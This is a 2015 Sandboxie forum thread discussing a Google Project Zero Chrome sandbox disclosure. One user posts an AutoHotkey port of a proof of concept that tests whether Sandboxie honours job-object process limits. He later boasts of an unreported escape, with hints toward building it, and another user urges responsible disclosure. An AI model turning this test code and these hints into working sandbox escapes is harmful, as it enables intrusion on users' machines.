Google discloses (Chrome) sandbox vulnerability

If it's not about a problem in the program
henryg
Posts: 552
Joined: Wed Nov 22, 2006 9:38 am

Google discloses (Chrome) sandbox vulnerability

Post by henryg » Thu May 07, 2015 10:16 am

http://googleprojectzero.blogspot.nl/20 ... -able.html

Does this affect Sandboxie? I don't pretend to understand any of it.
Henry

BUCKAROO
Posts: 206
Joined: Sun Oct 24, 2010 3:13 am

Re: Google discloses (Chrome) sandbox vulnerability

Post by BUCKAROO » Thu May 07, 2015 10:23 pm

The pre-built PoC binary doesn't bypass Sandboxie because:

It /* Just test normal create process */ and when that succeeds like it should, it won't try to InjectExe.

Its InjectExe routine doesn't bypass Sbie, it wants to open and write to conhost.exe (cmd.exe companion) process which I never even realized runs outside Sandbox context - so it fails at this, probably at OpenProcess.

My concern... is \Device\ConDrv the next \RPC Control\spoolss ?

henryg
Posts: 552
Joined: Wed Nov 22, 2006 9:38 am

Re: Google discloses (Chrome) sandbox vulnerability

Post by henryg » Fri May 08, 2015 4:35 am

Thank you, although I won't pretend to understand the detailed info you have given :)
Henry

BUCKAROO
Posts: 206
Joined: Sun Oct 24, 2010 3:13 am

Re: Google discloses (Chrome) sandbox vulnerability

Post by BUCKAROO » Fri May 08, 2015 11:53 am

BUCKAROO wrote:It /* Just test normal create process */ and when that succeeds like it should ...
Process launch should NOT actually have been successful; under Sandboxie it doesn't fail like it ought to. I didn't run the PoC outside Sandboxie to be certain how the first test case was supposed to behave. It is obvious now...

And the totally new news? Sandboxie compromises job policy without warn! Automatically weakens Google Chrome's security?!

.ActiveProcessLimit is ignored by Sandboxie, likely other job policy too.
Sandboxie acts as if JOB_OBJECT_LIMIT_BREAKAWAY_OK was specified.
Sandboxie may be forcing CREATE_BREAKAWAY_FROM_JOB also maybe.

Sandboxie creates this vulnerability all on its own, exploits, were there any around, can spill into Sandboxie's container otherwise unrestricted, unrestricted by app assigned job policy.

Code: Select all

/*
https://code.google.com/p/google-security-research/issues/detail?id=213
First half of this PoC converted to ahkscript.
*/

; JOBOBJECTINFOCLASS
Global JobObjectBasicLimitInformation:=2
;

; .LimitFlags
Global JOB_OBJECT_LIMIT_ACTIVE_PROCESS:=0x00000008
;

; dwCreationFlags
Global CREATE_BREAKAWAY_FROM_JOB:=0x01000000
;

Global Sandboxie:=DllCall("GetModuleHandle","Str","SbieDll")

ExitApp,WinMain()

WinMain()
{
	hJob:=DllCall("CreateJobObject","UPtr",NULL,"UPtr",NULL,"UPtr")
	
	VarSetCapacity(basic_limits,cb:=A_PtrSize==8?64:48,0) ; JOBOBJECT_BASIC_LIMIT_INFORMATION
	NumPut(1,basic_limits,A_PtrSize==8?40:28,"UInt") ; .ActiveProcessLimit
	NumPut(JOB_OBJECT_LIMIT_ACTIVE_PROCESS,basic_limits,16,"UInt") ; .LimitFlags
	
	if(DllCall("SetInformationJobObject","UPtr",hJob,"Int",JobObjectBasicLimitInformation,"UPtr",&basic_limits,"UInt",cb,"Int"))
	{
		if(DllCall("AssignProcessToJobObject","UPtr",hJob,"UPtr",DllCall("GetCurrentProcess","UPtr"),"Int"))
		{
			cmdline:="calc"
			VarSetCapacity(startInfo,cb:=A_PtrSize==8?140:72,0) ; STARTUPINFO
			NumPut(cb,basic_limits,"UInt") ; .cb
			VarSetCapacity(procInfo,A_PtrSize==8?32:16,0) ; PROCESS_INFORMATION
			
			;// Just test normal create process
			if(!DllCall("CreateProcess","UPtr",NULL,"Str",cmdline,"UPtr",NULL,"UPtr",NULL,"Int",FALSE,"UInt",CREATE_BREAKAWAY_FROM_JOB,"UPtr",NULL,"UPtr",NULL,"UPtr",&startInfo,"UPtr",&procInfo,"Int"))
			{
				MsgBox,0x40,Cool,% "CreateProcess failure...`nas it should be." (Sandboxie? "`nSandboxie was fixed?":"")
				
				/* ; TODO [if I can be bothered]
				if(!DllCall("AllocConsole","Int"))
				{
					MsgBox,0x10,Error,Error allocating console
				}
				else
				{
					;/*
					if(InjectExe("calc"))
					{
						MsgBox,0x10,Err,InjectExe success?
					}
					else
					{
						MsgBox,0x10,Err,InjectExe failure?
					}
					;*/
				}
				*/
			}
			else
			{
				MsgBox,0x30,Err,% "Should NOT have been successful...`nand it just was!" (Sandboxie? "`nSandboxie compromised job policy!":"")
			}
		}
		else
		{
			MsgBox,0x10,Error,Error setting job object
		}
	}
	else
	{
		MsgBox,0x10,Error,Error setting job limits
	}
	
	return 0
}

rpljhun
Posts: 203
Joined: Sat Jan 12, 2013 9:29 am

Re: Google discloses (Chrome) sandbox vulnerability

Post by rpljhun » Sun May 10, 2015 3:14 am

As what I can see, Sandboxie enforces its own job policies and restrictions, it removes and overrides defined policy. Process creation and breakaway job will give way for an attacker to escape from Chrome's sandbox but not in Sandboxie's sandbox. So it is a must for Chrome's sandbox to stop this process creation and breakaway job.

BUCKAROO
Posts: 206
Joined: Sun Oct 24, 2010 3:13 am

Re: Google discloses (Chrome) sandbox vulnerability

Post by BUCKAROO » Sun May 10, 2015 3:53 am

Right and yes, rpljhun.

But just this minute I found a Sbie bypass unrelated to this but with info from the blog.
(It's not \Device\ConDrv, but haven't come to that yet, and I probably won't, it's a bore.)

There is a new hole in Sandboxie.

Buster
Posts: 2576
Joined: Mon Aug 06, 2007 2:38 pm
Contact:

Re: Google discloses (Chrome) sandbox vulnerability

Post by Buster » Sun May 10, 2015 4:02 am

BUCKAROO wrote:There is a new hole in Sandboxie.
Does that new hole affect Sandboxie 3.x too or only 4.x?

BUCKAROO
Posts: 206
Joined: Sun Oct 24, 2010 3:13 am

Re: Google discloses (Chrome) sandbox vulnerability

Post by BUCKAROO » Sun May 10, 2015 4:16 am

I don't have a 7/8 (Virtual)Box anymore.
Best guess is it might be affected also.
A resource which slipped by Sandboxie...

rpljhun
Posts: 203
Joined: Sat Jan 12, 2013 9:29 am

Re: Google discloses (Chrome) sandbox vulnerability

Post by rpljhun » Sun May 10, 2015 6:29 am

BUCKAROO wrote:But just this minute I found a Sbie bypass unrelated to this but with info from the blog.
(It's not \Device\ConDrv, but haven't come to that yet, and I probably won't, it's a bore.)

There is a new hole in Sandboxie.
Did you try it? Cause what you think might not work. There some protections inside sbie like preventing sanboxed program from manipulating shared memory.

BUCKAROO
Posts: 206
Joined: Sun Oct 24, 2010 3:13 am

Re: Google discloses (Chrome) sandbox vulnerability

Post by BUCKAROO » Sun May 10, 2015 8:14 am

3.76 (64-bit) VBOX (5.0.0_BETA3) (Windows 8;WIN8_RTM;ENTERPRISE;EVAL)
unbreakable!

4.17.4 (64-bit) VBOX or Host (Windows 8.1 core)
Splish Splash, I was takin' a bath !

Write to and launch almost anything unsandboxed from your Sandboxed program or with very minimal shellcode.

No setting can block. No InjectDll can completely defend. Few programs are safe. All Your Base Address are belong to us!

The code's all there on that blogspot page, just turn it into an enumeration. If finer control is desired, blend it with CreateToolhelp32Snapshot otherwise it's potluck.

rpljhun
Posts: 203
Joined: Sat Jan 12, 2013 9:29 am

Re: Google discloses (Chrome) sandbox vulnerability

Post by rpljhun » Sun May 10, 2015 8:49 am

BUCKAROO wrote:3.76 (64-bit) VBOX (5.0.0_BETA3) (Windows 8;WIN8_RTM;ENTERPRISE;EVAL)
unbreakable!

4.17.4 (64-bit) VBOX or Host (Windows 8.1 core)
Splish Splash, I was takin' a bath !

Write to and launch almost anything unsandboxed from your Sandboxed program or with very minimal shellcode.

No setting can block. No InjectDll can completely defend. Few programs are safe. All Your Base Address are belong to us!

The code's all there on that blogspot page, just turn it into an enumeration. If finer control is desired, blend it with CreateToolhelp32Snapshot otherwise it's potluck.
Is privilege elevated?

BUCKAROO
Posts: 206
Joined: Sun Oct 24, 2010 3:13 am

Re: Google discloses (Chrome) sandbox vulnerability

Post by BUCKAROO » Sun May 10, 2015 9:19 am

As far as undoing all Sandboxie's security/restrictions (including "anonymous logon"), privilege is graduated, yes it is. Child processes spawned of possessed target inherit all its attributes. Target can be any typical program running in the foreground or background, e.g. SbieCtrl.exe or TrueCrypt.exe (which are never Sandboxed and/but not commonly Elevated).

Current "Elevated" processes are probably safe however until user can be tricked by UAC prompt made to appear innocuous, and not just seem but to actually originate from user's unsandboxed applications because they are in fact wide open to exploit now.

Correction: Elevated sandboxed processes against Elevated unsandboxed processes is indeed possible and being done as well.

Need not look too hard to find the hole, it's just one call (which gains you something in secret, unhandled [pun intended hint] by Sandboxie). Should be an easy one to fix, but will there be others...

Buster
Posts: 2576
Joined: Mon Aug 06, 2007 2:38 pm
Contact:

Re: Google discloses (Chrome) sandbox vulnerability

Post by Buster » Sun May 10, 2015 12:23 pm

As I thought. No surprise. 3.x is steel and 4.x is buster, I mean butter.

Nix
Posts: 248
Joined: Wed Sep 11, 2013 12:15 am
Location: Philippines

Re: Google discloses (Chrome) sandbox vulnerability

Post by Nix » Sun May 10, 2015 9:19 pm

BUCKAROO wrote:3.76 (64-bit) VBOX (5.0.0_BETA3) (Windows 8;WIN8_RTM;ENTERPRISE;EVAL)
unbreakable!

4.17.4 (64-bit) VBOX or Host (Windows 8.1 core)
Splish Splash, I was takin' a bath !

Write to and launch almost anything unsandboxed from your Sandboxed program or with very minimal shellcode.

No setting can block. No InjectDll can completely defend. Few programs are safe. All Your Base Address are belong to us!

The code's all there on that blogspot page, just turn it into an enumeration. If finer control is desired, blend it with CreateToolhelp32Snapshot otherwise it's potluck.
Would your test yield the same result with Win7?!
Regards,
Nix

Win7 Ultimate (x64)

Image

btm
Posts: 160
Joined: Sat Nov 23, 2013 11:31 am

Re: Google discloses (Chrome) sandbox vulnerability

Post by btm » Mon May 11, 2015 12:17 am

BUCKAROO wrote:As far as undoing all Sandboxie's security/restrictions (including "anonymous logon"), privilege is graduated, yes it is. Child processes spawned of possessed target inherit all its attributes. Target can be any typical program running in the foreground or background, e.g. SbieCtrl.exe or TrueCrypt.exe (which are never Sandboxed and/but not commonly Elevated).

Current "Elevated" processes are probably safe however until user can be tricked by UAC prompt made to appear innocuous, and not just seem but to actually originate from user's unsandboxed applications because they are in fact wide open to exploit now.

Correction: Elevated sandboxed processes against Elevated unsandboxed processes is indeed possible and being done as well.

Need not look too hard to find the hole, it's just one call (which gains you something in secret, unhandled [pun intended hint] by Sandboxie). Should be an easy one to fix, but will there be others...
I won't pretend to be as enlightened or smart as you seem to be concerning windows internals so perhaps instead of such 'allusions' you might consider stating things here directly or at least reporting the actual issue/call to the devs in private so they can fix the holes you claim to have found. As far as 3.x being steel vs 4.x, I can't say that I'm not still fond of 3.x (I stuck with it for quite a while!) in general but to say it's safer than 4.x in light of a few of the fixes that have been put in place more recently and remain lacking in 3.x and which are still open to some very serious attacks is rather hilarious. So would you please, stop strutting and just help make 4.x better by reporting it directly to them or releasing it publicly here so they are moved to real action or sandboxie users can at least understand the limitations you seem to have found! =(
Last edited by btm on Mon May 11, 2015 12:24 am, edited 2 times in total.
This account has been abandoned. If you need to PM me, please send a message to Syrinx.

Post Reply

Who is online

Users browsing this forum: No registered users and 6 guests